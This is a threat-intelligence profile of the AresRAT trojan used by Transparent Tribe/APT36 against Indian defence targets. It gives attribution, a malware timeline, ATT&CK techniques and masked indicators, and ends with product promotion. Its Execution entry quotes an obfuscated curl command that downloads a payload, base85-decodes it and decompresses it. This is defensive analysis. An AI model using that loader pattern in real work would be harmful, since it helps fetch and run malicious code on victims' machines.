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MalwareUsed by 3 actors

AresRAT

AresRAT is a remote access trojan associated with Transparent Tribe / APT36 (also tracked as Mythic Leopard, and in related reporting via SideCopy/TAG-140 overlap). The provided content places it within the group’s malware rotation and specifically identifies it as a Linux-oriented family used after Poseidon and before DeskRAT, with one timeline describing it as appearing in October 2025 as a Python PyInstaller ELF. Reporting also lists AresRAT among numerous RATs leveraged by the cluster alongside CurlBack, SparkRAT, Xeno RAT, AllaKore, ReverseRAT, GetaRAT, Poseidon, DeskRAT, and DRAT variants. The broader activity tied to this malware family targets Indian entities, especially defense-related, military, government, diplomatic, education, and other defense-adjacent sectors. High-confidence details in the content about AresRAT itself are limited to its classification as a RAT, its use by APT36/Transparent Tribe-linked operations, and its role in the actor’s Linux malware evolution; no specific infection chain, command-and-control protocol, or standalone indicators of compromise for AresRAT are directly provided in the source content.

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THREAT ACTORS

Groups observed using it

3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Transparent Tribe

RAT-family-rotation timeline: CrimsonRAT (Feb 2024 – Feb 2025, Windows) → Poseidon (Aug 2024, Linux ELF) → AresRAT (Oct 2025, Python PyInstaller ELF) → DeskRAT (Oct 2025 – present, Go ELF).

via breakglass intelintel.breakglass.tech
Fishing Elephant

“deliver its tool of choice, AresRAT.”

via securelistsecurelist.com
SideCopy

"...including CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, and ReverseRAT."

via dark readingdarkreading.com
MITRE ATT&CK

Techniques & procedures

4 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence1

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks — a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

T1566.001Spearphishing AttachmentEvidence1

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

Execution

1 technique
T1059.006PythonEvidence1
TacticExecution

curl ${YAiuradJ} ${JOsQTdyK} | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d

Stealth

1 technique
T1036MasqueradingEvidence1
TacticStealth

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks — a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

INDICATORS OF COMPROMISE

IOCs tracked for this family

4 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
2 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
hash.sha256●●●●●●●●●●●●View more in app1 month ago
ip.v4●●●●●●●●●●●●View more in app1 month ago
ip.v4●●●●●●●●●●●●View more in app1 month ago
hash.sha256●●●●●●●●●●●●View more in app1 month ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching4

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution3

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping4

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.